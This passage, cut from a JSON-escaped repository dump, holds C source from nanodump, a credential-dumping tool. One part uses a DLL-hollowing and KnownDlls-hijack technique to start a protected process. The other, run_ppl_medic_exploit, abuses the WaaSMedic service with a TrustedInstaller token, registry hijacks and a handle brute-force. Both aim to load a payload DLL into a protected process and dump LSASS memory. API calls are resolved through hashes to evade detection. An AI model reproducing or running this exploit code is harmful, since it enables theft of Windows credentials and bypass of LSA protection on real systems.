(!success)\n        goto end;\n\n    DPRINT(\"Done.\");\n\n    NtClose(hNewProcess); hNewProcess = NULL;\n    NtClose(hDllSection); hDllSection = NULL;\n\n    DPRINT(\"Unmapped section '%ls'\", pwszSectionName);\n\n    if (bImpersonationActive)\n    {\n        RevertToSelf(); // If impersonation was active, drop it first\n        bImpersonationActive = FALSE;\n    }\n\n    if (!file_exists(dump_path))\n    {\n        PRINT_ERR(\"Failed, the dump was not created.\");\n        goto end;\n    }\n\n    print_success(\n        dump_path,\n        use_valid_sig,\n        TRUE);\n\n    bReturnValue = TRUE;\n\nend:\n    if (bImpersonationActive && RevertToSelf)\n        RevertToSelf(); // If impersonation was active, drop it first\n    if (hNewProcessToken)\n        NtClose(hNewProcessToken);\n    if (pwszCommandLine)\n    {\n        DATA_FREE(pwszCommandLine, wcslen(pwszCommandLine) * sizeof(WCHAR));\n    }\n    if (pwszDosDeviceName)\n    {\n        DATA_FREE(pwszDosDeviceName, wcslen(pwszDosDeviceName) * sizeof(WCHAR));\n    }\n    if (pwszDosDeviceTargetPath)\n    {\n        DATA_FREE(pwszDosDeviceTargetPath, wcslen(pwszDosDeviceTargetPath) * sizeof(WCHAR));\n    }\n    if (hDllLink)\n        NtClose(hDllLink);\n    if (pwszDllLinkName)\n    {\n        DATA_FREE(pwszDllLinkName, wcslen(pwszDllLinkName) * sizeof(WCHAR));\n    }\n    if (hKnownDllsObjDir)\n        NtClose(hKnownDllsObjDir);\n    if (hLocalServiceToken)\n        NtClose(hLocalServiceToken);\n    if (hSystemToken)\n        NtClose(hSystemToken);\n    if (pwszDllToHijack)\n    {\n        DATA_FREE(pwszDllToHijack, wcslen(pwszDllToHijack) * sizeof(WCHAR));\n    }\n    if (hDllSection)\n        NtClose(hDllSection);\n    if (hNewProcess)\n        NtClose(hNewProcess);\n    if (hTransaction)\n        NtClose(hTransaction);\n\n    return bReturnValue;\n}\n\nBOOL create_protected_process_as_user(\n    IN HANDLE hToken,\n    IN LPWSTR pwszCommandLine,\n    OUT PHANDLE phProcess)\n{\n    STARTUPINFOW si = { 0 };\n    PROCESS_INFORMATION pi = { 0 };\n    BOOL success;\n    CreateProcessAsUserW_t CreateProcessAsUserW;\n    *phProcess = NULL;\n\n    CreateProcessAsUserW = (CreateProcessAsUserW_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        CreateProcessAsUserW_SW2_HASH,\n        0);\n    if (!CreateProcessAsUserW)\n    {\n        api_not_found(\"CreateProcessAsUserW\");\n        return FALSE;\n    }\n\n    ZeroMemory(&si, sizeof(si));\n    si.cb = sizeof(si);\n\n    success = CreateProcessAsUserW(\n        hToken,\n        NULL,\n        pwszCommandLine,\n        NULL,\n        NULL,\n        TRUE,\n        CREATE_PROTECTED_PROCESS,\n        NULL,\n        NULL,\n        &si,\n        &pi);\n    if (!success)\n    {\n        function_failed(\"CreateProcessAsUserW\");\n        return FALSE;\n    }\n\n    NtClose(pi.hThread); pi.hThread = NULL;\n    *phProcess = pi.hProcess;\n\n    return TRUE;\n}\n\nBOOL prepare_ppl_command_line(\n    IN LPCSTR dump_path,\n    IN BOOL use_valid_sig,\n    IN BOOL duplicate_handle,\n    OUT LPWSTR* command_line)\n{\n    WCHAR wszSystemDir[MAX_PATH] = { 0 };\n    WCHAR dump_path_w[MAX_PATH] = { 0 };\n    size_t size = 32767;\n    GetSystemDirectoryW_t GetSystemDirectoryW;\n\n    GetSystemDirectoryW = (GetSystemDirectoryW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        GetSystemDirectoryW_SW2_HASH,\n        0);\n    if (!GetSystemDirectoryW)\n    {\n        api_not_found(\"GetSystemDirectoryW\");\n        return FALSE;\n    }\n\n    *command_line = intAlloc(size * sizeof(WCHAR));\n    if (!*command_line)\n    {\n        malloc_failed();\n        return FALSE;\n    }\n\n    // program path\n    GetSystemDirectoryW(wszSystemDir, MAX_PATH);\n    wcsncpy(*command_line, wszSystemDir, size);\n    wcsncat(*command_line, L\"\\\\\", size);\n    wcsncat(*command_line, PPL_BINARY, size);\n    // dump path\n    mbstowcs(dump_path_w, dump_path, MAX_PATH);\n    wcsncat(*command_line, L\" -w \", size);\n    wcsncat(*command_line, dump_path_w, size);\n    // --valid\n    if (use_valid_sig)\n        wcsncat(*command_line, L\" -v\", size);\n    // --dup\n    if (duplicate_handle)\n        wcsncat(*command_line, L\" -d\", size);\n\n    return TRUE;\n}\n\nBOOL find_file_for_transaction(\n    IN DWORD dwMinSize,\n    OUT LPWSTR* ppwszFilePath)\n{\n    BOOL bReturnValue = FALSE;\n    WCHAR wszSystemDir[MAX_PATH] = { 0 };\n    WCHAR wszSearchPath[MAX_PATH] = { 0 };\n    WCHAR wszFilePath[MAX_PATH] = { 0 };\n    WIN32_FIND_DATAW wfd = { 0 };\n    UNICODE_STRING name = { 0 };\n    HANDLE hFind = NULL;\n    HANDLE hFile = NULL;\n    PSID pSidOwner = NULL;\n    PSECURITY_DESCRIPTOR pSD = NULL;\n    DWORD dwFileSize = 0;\n    PSID pSidTarget = NULL;\n    ConvertStringSidToSidW_t ConvertStringSidToSidW;\n    GetSecurityInfo_t GetSecurityInfo;\n    GetSystemDirectoryW_t GetSystemDirectoryW;\n    FindFirstFileW_t FindFirstFileW;\n    FindNextFileW_t FindNextFileW;\n    FindClose_t FindClose;\n    OBJECT_ATTRIBUTES oa = { 0 };\n    IO_STATUS_BLOCK IoStatusBlock;\n    BOOL success;\n    DWORD error_code;\n\n    ConvertStringSidToSidW = (ConvertStringSidToSidW_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        ConvertStringSidToSidW_SW2_HASH,\n        0);\n    if (!ConvertStringSidToSidW)\n    {\n        api_not_found(\"ConvertStringSidToSidW\");\n        return FALSE;\n    }\n\n    GetSecurityInfo = (GetSecurityInfo_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        GetSecurityInfo_SW2_HASH,\n        0);\n    if (!GetSecurityInfo)\n    {\n        api_not_found(\"GetSecurityInfo\");\n        return FALSE;\n    }\n\n    GetSystemDirectoryW = (GetSystemDirectoryW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        GetSystemDirectoryW_SW2_HASH,\n        0);\n    if (!GetSystemDirectoryW)\n    {\n        api_not_found(\"GetSystemDirectoryW\");\n        return FALSE;\n    }\n\n    FindClose = (FindClose_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        FindClose_SW2_HASH,\n        0);\n    if (!FindClose)\n    {\n        api_not_found(\"FindClose\");\n        return FALSE;\n    }\n\n    FindFirstFileW = (FindFirstFileW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        FindFirstFileW_SW2_HASH,\n        0);\n    if (!FindFirstFileW)\n    {\n        api_not_found(\"FindFirstFileW\");\n        return FALSE;\n    }\n\n    FindNextFileW = (FindNextFileW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        FindNextFileW_SW2_HASH,\n        0);\n    if (!FindNextFileW)\n    {\n        api_not_found(\"FindNextFileW\");\n        return FALSE;\n    }\n\n    ConvertStringSidToSidW(L\"S-1-5-18\", &pSidTarget);\n\n    GetSystemDirectoryW(wszSystemDir, MAX_PATH);    // C:\\Windows\\System32\n    wcsncpy(wszSearchPath, wszSystemDir, MAX_PATH);\n    wcsncat(wszSearchPath, L\"\\\\*.dll\", MAX_PATH);   // C:\\Windows\\System32\\*.dll\n\n    hFind = FindFirstFileW(wszSearchPath, &wfd);\n    if (hFind == INVALID_HANDLE_VALUE)\n        return FALSE;\n\n    do\n    {\n        wcsncpy(wszFilePath, L\"\\\\??\\\\\", MAX_PATH);\n        wcsncat(wszFilePath, wszSystemDir, MAX_PATH);\n        wcsncat(wszFilePath, L\"\\\\\", MAX_PATH);\n        wcsncat(wszFilePath, wfd.cFileName, MAX_PATH);\n        name.Buffer  = wszFilePath;\n        name.Length  = (USHORT)wcsnlen(name.Buffer, MAX_PATH);;\n        name.Length *= 2;\n        name.MaximumLength = name.Length + 2;\n        InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n        NTSTATUS status = NtCreateFile(\n            &hFile,\n            FILE_GENERIC_READ,\n            &oa,\n            &IoStatusBlock,\n            NULL,\n            FILE_ATTRIBUTE_NORMAL,\n            FILE_SHARE_READ,\n            FILE_OPEN,\n            FILE_SYNCHRONOUS_IO_NONALERT,\n            NULL,\n            0);\n        if (NT_SUCCESS(status))\n        {\n            success = get_file_size(hFile, &dwFileSize);\n            if (success && dwFileSize > dwMinSize)\n            {\n                // TODO: use a lower level API?\n                error_code = GetSecurityInfo(\n                    hFile,\n                    SE_FILE_OBJECT,\n                    OWNER_SECURITY_INFORMATION,\n                    &pSidOwner,\n                    NULL,\n                    NULL,\n                    NULL,\n                    &pSD);\n                if (error_code == ERROR_SUCCESS)\n                {\n                    success = token_compare_sids(\n                        pSidOwner,\n                        pSidTarget);\n                    if (success)\n                    {\n                        *ppwszFilePath = intAlloc(MAX_PATH * sizeof(WCHAR));\n                        if (*ppwszFilePath)\n                        {\n                            wcsncpy(*ppwszFilePath, wszFilePath, MAX_PATH);\n                            bReturnValue = TRUE;\n                        }\n                    }\n                }\n            }\n            NtClose(hFile); hFile = NULL;\n        }\n    } while (!bReturnValue && FindNextFileW(hFind, &wfd));\n\n    FindClose(hFind); hFind = NULL;\n\n    return bReturnValue;\n}\n\nBOOL write_payload_dll_transacted(\n    IN unsigned char nanodump_ppl_dump_dll[],\n    IN unsigned int nanodump_ppl_dump_dll_len,\n    OUT PHANDLE pdhFile,\n    OUT PHANDLE phTransaction)\n{\n    //\n    // This implementation was inspired by the DLL Hollowing technique, discussed by @_ForrestOrr\n    // in this blog post: Masking Malicious Memory Artifacts – Part I: Phantom DLL Hollowing\n    // https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing\n    // This trick is awesome! :)\n    //\n    // Here is the idea. Rather than writing our embedded DLL to disk, we open an existing DLL file\n    // as a transaction operation. Then, we replace the content of the DLL with our own. To so, we\n    // search for an existing DLL file in C:\\Windows\\System32. We assume we are executing this code\n    // as SYSTEM but still, this is not sufficient as we need to open the target file with write \n    // access even though the file will not be modified. As most of the files are owned by Trusted-\n    // Installer, we need to find one which is owned by SYSTEM and also make sure that it is big\n    // enough so that we can copy our own DLL.\n    //\n    // Note: actually, in our case, it doesn't matter whether the target file is a DLL or a regular\n    // file. But hey, this works just fine. ;)\n    //\n\n    BOOL bReturnValue = FALSE;\n    LPWSTR pwszTargetFile = NULL;\n    NTSTATUS status = 0;\n    OBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES) };\n    HANDLE hTransaction = NULL;\n    HANDLE hTransactedFile = NULL;\n    BOOL success = FALSE;\n    IO_STATUS_BLOCK IoStatusBlock;\n    CreateFileTransactedW_t CreateFileTransactedW;\n\n    CreateFileTransactedW = (CreateFileTransactedW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        CreateFileTransactedW_SW2_HASH,\n        0);\n    if (!CreateFileTransactedW)\n    {\n        api_not_found(\"CreateFileTransactedW\");\n        goto end;\n    }\n\n    //\n    // Find a legtimate DLL file to \"hollow\". It must not be owned by TrustedInstaller and it must\n    // be big enough so that we can copy our payload into the transacted file.\n    //\n    success = find_file_for_transaction(\n        nanodump_ppl_dump_dll_len,\n        &pwszTargetFile);\n    if (!success)\n    {\n        PRINT_ERR(\"Could not find file for transaction\");\n        goto end;\n    }\n\n    DPRINT(\"Found file for transaction: %ls\", pwszTargetFile);\n\n    status = NtCreateTransaction(\n        &hTransaction,\n        TRANSACTION_ALL_ACCESS,\n        &oa,\n        NULL,\n        NULL,\n        0,\n        0,\n        0,\n        NULL,\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateTransaction\", status);\n        goto end;\n    }\n\n    //\n    // Open a legitimate DLL file as a transaction operation.\n    //\n    hTransactedFile = CreateFileTransactedW(\n        pwszTargetFile,\n        GENERIC_READ | GENERIC_WRITE,\n        0,\n        NULL,\n        OPEN_EXISTING,\n        FILE_ATTRIBUTE_NORMAL,\n        NULL,\n        hTransaction,\n        NULL,\n        NULL);\n    if (hTransactedFile == INVALID_HANDLE_VALUE)\n    {\n        function_failed(\"CreateFileTransactedW\");\n        goto end;\n    }\n\n    DPRINT(\"Opened file '%ls' for transaction.\", pwszTargetFile);\n\n    //\n    // Replace the content of the legitimate file with our own DLL payload. It's important to note\n    // that the file on disk is not altered.\n    //\n    status = NtWriteFile(\n        hTransactedFile,\n        NULL,\n        NULL,\n        NULL,\n        &IoStatusBlock,\n        nanodump_ppl_dump_dll,\n        nanodump_ppl_dump_dll_len,\n        NULL,\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtWriteFile\", status);\n        goto end;\n    }\n\n    DPRINT(\"Wrote 0x%x bytes of embedded payload DLL to transacted file %ls.\", nanodump_ppl_dump_dll_len, pwszTargetFile);\n\n    *pdhFile = hTransactedFile;\n    *phTransaction = hTransaction;\n    bReturnValue = TRUE;\n\nend:\n    if (pwszTargetFile)\n    {\n        DATA_FREE(pwszTargetFile, wcslen(pwszTargetFile) * sizeof(WCHAR));\n    }\n\n    return bReturnValue;\n}\n\nBOOL map_dll(\n    IN unsigned char nanodump_ppl_dump_dll[],\n    IN unsigned int nanodump_ppl_dump_dll_len,\n    IN LPWSTR pwszSectionName,\n    OUT PHANDLE phSection,\n    OUT PHANDLE phTransaction)\n{\n    BOOL bReturnValue = FALSE;\n    OBJECT_ATTRIBUTES oa = { 0 };\n    UNICODE_STRING sectionName = { 0 };\n    NTSTATUS status = 0;\n    HANDLE hSection = NULL;\n    BOOL success;\n    HANDLE hDllTransacted = NULL;\n    *phSection = NULL;\n\n    success = write_payload_dll_transacted(\n        nanodump_ppl_dump_dll,\n        nanodump_ppl_dump_dll_len,\n        &hDllTransacted,\n        phTransaction);\n    if (!success)\n        goto end;\n\n    sectionName.Buffer  = pwszSectionName;\n    sectionName.Length  = (USHORT)wcsnlen(sectionName.Buffer, MAX_PATH);;\n    sectionName.Length *= 2;\n    sectionName.MaximumLength = sectionName.Length + 2;\n    InitializeObjectAttributes(&oa, &sectionName, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n    //\n    // According to the documentation, the SEC_IMAGE attribute must be combined with the page \n    // protection value PAGE_READONLY. But the page protection has actually no effect because the \n    // page protection is determined by the executable file itself.\n    // https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga\n    //\n    status = NtCreateSection(\n        &hSection,\n        SECTION_ALL_ACCESS,\n        &oa,\n        NULL,\n        PAGE_READONLY,\n        SEC_IMAGE,\n        hDllTransacted);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateSection\", status);\n        goto end;\n    }\n\n    *phSection = hSection;\n    bReturnValue = TRUE;\n\nend:\n    if (hDllTransacted)\n        NtClose(hDllTransacted);\n\n    return bReturnValue;\n}\n\nBOOL check_ppl_requirements(VOID)\n{\n    BOOL success = FALSE;\n\n    LPCWSTR ppwszRequiredPrivileges[2] = {\n        L\"SeDebugPrivilege\",\n        L\"SeImpersonatePrivilege\"\n    };\n\n    success = check_token_privileges(\n        NULL,\n        ppwszRequiredPrivileges,\n        ARRAY_SIZE(ppwszRequiredPrivileges),\n        TRUE);\n    if (!success)\n        return FALSE;\n\n    // Check windows version >= 6.3\n    if (!is_win_6_point_3_or_grater())\n    {\n        PRINT_ERR(\"The Windows version must be 6.3 or greater\");\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL get_hijackeable_dllname(\n    OUT LPWSTR* ppwszDllName)\n{\n    if (!ppwszDllName)\n        return FALSE;\n\n    *ppwszDllName = intAlloc(64 * sizeof(WCHAR));\n    if (!*ppwszDllName)\n    {\n        malloc_failed();\n        return FALSE;\n    }\n\n    if (is_win_10_or_grater())\n    {\n        wcsncpy(*ppwszDllName, DLL_TO_HIJACK_WIN10, 64);\n        return TRUE;\n    }\n\n    if (is_win_6_point_3_or_grater())\n    {\n        wcsncpy(*ppwszDllName, DLL_TO_HIJACK_WIN63, 64);\n        return TRUE;\n    }\n\n    DPRINT_ERR(\"Invalid Windows version\");\n\n    DATA_FREE(*ppwszDllName, 64 * sizeof(WCHAR));\n\n    return FALSE;\n}\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/ppl/ppl_medic.c",
    "content": "#include \"ppl/ppl_medic.h\"\n#include \"ppl/ppl_utils.h\"\n#include \"ppl/ppl_medic_client.h\"\n#include \"pipe.h\"\n\nBOOL run_ppl_medic_exploit(\n    IN unsigned char nanodump_ppl_medic_dll[],\n    IN unsigned int nanodump_ppl_medic_dll_len,\n    IN LPSTR dump_path,\n    IN BOOL use_valid_sig,\n    IN BOOL elevate_handle)\n{\n    BOOL       success                      = FALSE;\n    BOOL       ret_val                      = FALSE;\n    BOOL       StateTypeLibCreated          = FALSE;\n#if PASS_PARAMS_VIA_NAMED_PIPES == 1\n    BOOL       dump_worked                  = FALSE;\n    HANDLE     hPipe                        = NULL;\n#endif\n    HANDLE     hBaseNamedObjects            = NULL;\n    LPWSTR     TypeLibPath                  = NULL;\n    LPWSTR     TypeLibRegValuePath          = NULL;\n    LPWSTR     TypeLibOrigPath              = NULL;\n    LPWSTR     HollowedDllPath              = NULL;\n    LPWSTR     HijackedDllName              = NULL;\n    LPWSTR     HijackedDllSectionPath       = NULL;\n    LPWSTR     ProxyStubRegValuePath        = NULL;\n    LPWSTR     ProxyStubOrigPath            = NULL;\n    LPWSTR     WaaSMedicCapsulePath         = NULL;\n    HANDLE     hTI                          = NULL;\n    BOOL       StateRegTypeLibModified      = FALSE;\n    BOOL       StateRegProxyStubModified    = FALSE;\n    BOOL       StatePluginDllLocked         = FALSE;\n    PVOID      KnownDllDirectoryHandleAddr  = NULL;\n    HANDLE     DllSectionHandle             = NULL;\n    HANDLE     DummyDllFileHandle           = NULL;\n    HANDLE     WaaSMedicCapsuleHandle       = NULL;\n    HANDLE     ProxyStubDllLoadEventHandle  = NULL;\n    PFILE_LIST TemporaryDiretoriesBefore    = NULL;\n    PFILE_LIST TemporaryDiretoriesAfter     = NULL;\n    DWORD64    WriteAtLaunchDetectionOnly   = 0;\n    DWORD64    WriteAtLaunchRemediationOnly = 0;\n    ULONG32    i                            = 0;\n\n    PIWaaSRemediationEx IWaaSRemediationEx = NULL;\n\n    DISPID DispIdLaunchDetectionOnly   = 0;\n    DISPID DispIdLaunchRemediationOnly = 0;\n\n    success = enable_debug_priv();\n    if (!success)\n        goto cleanup;\n\n    //\n    // If WaaSMedicSvc is running, stop it first and then start it. We want to make sure we are\n    // working in a \"clean\" environment. This is important to ensure that TaskSchdPS.dll is not\n    // already loaded.\n    //\n\n    success = restart_waa_s_medic_svc();\n    if (!success)\n        goto cleanup;\n\n    DPRINT(\"Service (re)started: %ls\", STR_WAASMEDIC_SVC);\n\n    //\n    // Determine the value of the \\BaseNamedObjects directory handle in the WaaSMedic process.\n    // This will help us choose the strategy to adopt for the memory write.\n    //\n\n    success = find_waa_s_medic_svc_base_named_objects_handle(&hBaseNamedObjects);\n    if (!success)\n        goto cleanup;\n\n    DPRINT(\"Directory handle value in remote process: 0x%04x\", (ULONG32)(ULONG_PTR)hBaseNamedObjects);\n\n    //\n    // Create the TypeLib file, and modify the registry as TrustedInstaller to replace the \n    // original TypeLib file path.\n    //\n\n    success = generate_temp_path(&TypeLibPath);\n    if (!success)\n        goto cleanup;\n\n    success = write_type_lib(TypeLibPath);\n    if (!success)\n        goto cleanup;\n\n    StateTypeLibCreated = TRUE;\n\n    success = get_type_lib_reg_value_path(&TypeLibRegValuePath);\n    if (!success)\n        goto cleanup;\n\n    success = get_type_lib_orig_path(TypeLibRegValuePath, &TypeLibOrigPath);\n    if (!success)\n        goto cleanup;\n\n    success = get_trusted_installer_token(&hTI);\n    if (!success)\n        goto cleanup;\n\n    success = modify_type_lib_registry_value(\n        TypeLibPath,\n        TypeLibRegValuePath,\n        hTI,\n        &StateRegTypeLibModified);\n    if (!success)\n        goto cleanup;\n\n    DPRINT(\"TypeLib file created and set in the registry: %ls\", TypeLibPath);\n\n    //\n    // Determine the address of the \\KnownDlls directory handle. We need this information to\n    // know where to write in the target process.\n    //\n\n    success = get_known_dlls_handle_address(&KnownDllDirectoryHandleAddr);\n    if (!success)\n    {\n        DPRINT_ERR(\"Failed to determine the address of LdrpKnownDllDirectoryHandle\");\n        goto cleanup;\n    }\n\n    DPRINT(\"Known DLL Directory handle @ 0x%p\", KnownDllDirectoryHandleAddr);\n\n    success = calculate_write_addresses(KnownDllDirectoryHandleAddr, (ULONG32)(ULONG_PTR)hBaseNamedObjects, &WriteAtLaunchDetectionOnly, &WriteAtLaunchRemediationOnly);\n    if (!success)\n        goto cleanup;\n\n    //\n    // We will prepare the DLL hijacking of the 'TaskSchdPS.dll' DLL by 1. creating a section\n    // in the object manager for our own DLL with a random name in the \\BaseNamedObjects\n    // directory, 2. modifying the registry to set this DLL as the Proxy Stub DLL for the\n    // ITaskHandler interface.\n    //\n\n    success = get_hijacked_dll_name(&HijackedDllName, &HijackedDllSectionPath);\n    if (!success)\n        goto cleanup;\n\n    success = map_payload_dll(nanodump_ppl_medic_dll, nanodump_ppl_medic_dll_len, HijackedDllName, HijackedDllSectionPath, &HollowedDllPath, &DllSectionHandle);\n    if (!success)\n        goto cleanup;\n\n    success = create_dummy_dll_file(HijackedDllName, &DummyDllFileHandle);\n    if (!success)\n        goto cleanup;\n\n    success = find_proxy_stub_registry_value_path(&ProxyStubRegValuePath);\n    if (!success)\n        goto cleanup;\n\n    success = get_proxy_stub_orig_path(ProxyStubRegValuePath, &ProxyStubOrigPath);\n    if (!success)\n        goto cleanup;\n\n    success = modify_proxy_stub_registry_value(hTI, ProxyStubRegValuePath, HijackedDllName, &StateRegProxyStubModified);\n    if (!success)\n        goto cleanup;\n\n    DPRINT(\"Proxy/Stub DLL path set in the registry: %ls\", HijackedDllName);\n\n    //\n    // The methods LaunchDetectionOnly and LaunchRemediationOnly both call the internal function\n    // LoadPluginLibrary, which ultimately calls the LoadLibrary(Ex) API. This API throws an\n    // exception if the KnownDlls handle is invalid. By locking the target DLL file, we can\n    // force the service to fail before calling LoadLibrary(Ex) and therefore avoid the crash.\n    // Another benefit is that it drastically increases the speed of the exploit.\n    //\n\n    success = get_waa_s_medic_capsule_path(&WaaSMedicCapsulePath);\n    success = lock_plugin_dll(WaaSMedicCapsulePath, &StatePluginDllLocked, &WaaSMedicCapsuleHandle);\n    if (!success)\n        goto cleanup;\n\n    DPRINT(\"Plugin DLL file locked: %ls\", WaaSMedicCapsulePath);\n\n    //\n    // Prepare synchronization. We create a global Event, and start a watcher thread that waits\n    // for it to be signaled in a loop.\n    //\n\n    success = create_load_event(\n        STR_IPC_WAASMEDIC_LOAD_EVENT_NAME,\n        &ProxyStubDllLoadEventHandle);\n    if (!success)\n        goto cleanup;\n\n    //\n    // Here we start writing random handle values where the \\KnownDlls hande is normally stored in\n    // a loop. After each write, we attempt to create a remote TaskHandler object. When this object\n    // is created, the TaskSchdPS.dll DLL is loaded. So, if the handle value is correct, our version\n    // of TaskSchdPS.dll should be loaded (as a \"Known DLL\"). Otherwise, the handle is not valid and\n    // we repeat the operation until we succeed or we reach the maximum number of attempts.\n    //\n\n    success = enumerate_temporary_directories(&TemporaryDiretoriesBefore);\n    if (!success)\n        goto cleanup;\n\n    success = initialize_interface(&IWaaSRemediationEx);\n    if (!success)\n        goto cleanup;\n\n    success = resolve_dispatch_ids(IWaaSRemediationEx, &DispIdLaunchDetectionOnly, &DispIdLaunchRemediationOnly);\n    if (!success)\n        goto cleanup;\n\n    success = write_remote_dll_search_path_flag(IWaaSRemediationEx, DispIdLaunchRemediationOnly);\n    if (!success)\n        goto cleanup;\n\n    DPRINT(\"Remote DLL search path flag overwritten.\");\n\n    DPRINT(\"Trying to write a valid object directory handle...\");\n\n    for (i = 0; i < MAX_ATTEMPTS; i++)\n    {\n        if ((i + 1) % 100 == 0)\n        {\n            DPRINT(\"Attempt %3d/%d (%d%%)\", i + 1, MAX_ATTEMPTS, ((i + 1) * 100) / MAX_ATTEMPTS);\n        }\n\n        success = write_remote_known_dll_handle(\n            IWaaSRemediationEx,\n            (ULONG32)(ULONG_PTR)hBaseNamedObjects,\n            DispIdLaunchDetectionOnly,\n            DispIdLaunchRemediationOnly,\n            WriteAtLaunchDetectionOnly,\n            WriteAtLaunchRemediationOnly);\n        if (!success)\n            goto cleanup;\n\n        if (!create_task_handler_instance())\n        {\n            if (!is_service_running(STR_WAASMEDIC_SVC))\n            {\n                PRINT_ERR(\"Service %ls is no longer running, it probably crashed because of an invalid handle value.\", STR_WAASMEDIC_SVC);\n                goto cleanup;\n            }\n        }\n\n        if (is_proxy_stub_dll_loaded(ProxyStubDllLoadEventHandle))\n        {\n            DPRINT(\"Payload DLL successfully loaded after %d attempts!\", i + 1);\n            ret_val = TRUE;\n            break;\n        }\n    }\n\n    if (ret_val)\n    {\n#if !defined(PASS_PARAMS_VIA_NAMED_PIPES) || (PASS_PARAMS_VIA_NAMED_PIPES == 0)\n        PRINT(\"The exploit was successfull!\");\n        PRINT(\"By default, the minidump will have an invalid signature and will be written at the path C:\\\\Windows\\\\Temp\\\\report.docx\");\n#else\n        success = client_connect_to_named_pipe(\n            IPC_PIPE_NAME,\n            &hPipe);\n        if (!success)\n            goto cleanup;\n\n        success = client_send_arguments_from_pipe(\n            hPipe,\n            dump_path,\n            use_valid_sig,\n            elevate_handle);\n        if (!success)\n            goto cleanup;\n\n        success = client_recv_success(\n            hPipe,\n            &dump_worked);\n\n        if (success && dump_worked)\n        {\n            print_success(\n                dump_path,\n                use_valid_sig,\n                TRUE);\n        }\n        else\n        {\n            PRINT_ERR(\"The exploit worked but the DLL could not create the minidump\");\n        }\n#endif\n    }\n\ncleanup:\n    if (!ret_val && i >= MAX_ATTEMPTS)\n    {\n        PRINT_ERR(\"Reached the maximum number of attempts.\");\n    }\n    else if (!ret_val)\n    {\n        PRINT_ERR(\"The exploit failed.\");\n    }\n\n    if (StateRegTypeLibModified)\n    {\n        modify_type_lib_registry_value(\n            TypeLibOrigPath,\n            TypeLibRegValuePath,\n            hTI,\n            NULL);\n    }\n\n    if (StateRegProxyStubModified)\n    {\n        modify_proxy_stub_registry_value(\n            hTI,\n            ProxyStubRegValuePath,\n            ProxyStubOrigPath,\n            NULL);\n    }\n\n    enumerate_temporary_directories(&TemporaryDiretoriesAfter);\n    cleanup_temp_directories(TemporaryDiretoriesBefore, TemporaryDiretoriesAfter);\n\n    free_directory_list(TemporaryDiretoriesBefore);\n    TemporaryDiretoriesBefore = NULL;\n\n    free_directory_list(TemporaryDiretoriesAfter);\n    TemporaryDiretoriesAfter = NULL;\n\n    if (hBaseNamedObjects)\n        NtClose(hBaseNamedObjects);\n    if (TypeLibRegValuePath)\n        intFree(TypeLibRegValuePath);\n    if (TypeLibOrigPath)\n        intFree(TypeLibOrigPath);\n    if (hTI)\n        NtClose(hTI);\n    if (DllSectionHandle)\n        NtClose(DllSectionHandle);\n    if (DummyDllFileHandle)\n        NtClose(DummyDllFileHandle);\n    if (ProxyStubRegValuePath)\n        intFree(ProxyStubRegValuePath);\n    if (ProxyStubOrigPath)\n        intFree(ProxyStubOrigPath);\n    if (StatePluginDllLocked)\n        unlock_plugin_dll(WaaSMedicCapsuleHandle);\n    if (WaaSMedicCapsuleHandle)\n        NtClose(WaaSMedicCapsuleHandle);\n    if (WaaSMedicCapsulePath)\n        intFree(WaaSMedicCapsulePath);\n    if (IWaaSRemediationEx)\n        release_client(IWaaSRemediationEx);\n    if (ProxyStubDllLoadEventHandle)\n        NtClose(ProxyStubDllLoadEventHandle);\n    if (HollowedDllPath)\n        intFree(HollowedDllPath);\n    if (HijackedDllName)\n        intFree(HijackedDllName);\n    if (HijackedDllSectionPath)\n        intFree(HijackedDllSectionPath);\n    if (StateTypeLibCreated)\n        delete_type_lib(TypeLibPath);\n    if (TypeLibPath)\n        intFree(TypeLibPath);\n    if (is_service_running(STR_WAASMEDIC_SVC))\n        stop_service_by_name(STR_WAASMEDIC_SVC, TRUE);\n#if PASS_PARAMS_VIA_NAMED_PIPES == 1\n    if (hPipe)\n        NtClose(hPipe);\n#endif\n\n    DPRINT(\"bye!\")\n\n    return ret_val;\n}\n\nBOOL create_load_event(\n    IN LPWSTR event_name,\n    OUT PHANDLE ProxyStubDllLoadEventHandle)\n{\n    BOOL   ret_val                   = FALSE;\n    LPWSTR ProxyStubDllLoadEventName = NULL;\n\n    CreateEventW_t CreateEventW = NULL;\n\n    CreateEventW = (CreateEventW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        CreateEventW_SW2_HASH,\n        0);\n    if (!CreateEventW)\n    {\n        api_not_found(\"CreateEventW\");\n        goto cleanup;\n    }\n\n    ProxyStubDllLoadEventName = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!ProxyStubDllLoadEventName)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    swprintf_s(ProxyStubDllLoadEventName, MAX_PATH, L\"Global\\\\%ws\", event_name);\n\n    *ProxyStubDllLoadEventHandle = CreateEventW(NULL, TRUE, FALSE, ProxyStubDllLoadEventName);\n    if (!*ProxyStubDllLoadEventHandle)\n    {\n        function_failed(\"CreateEventW\");\n        goto cleanup;\n    }\n\n    ret_val = 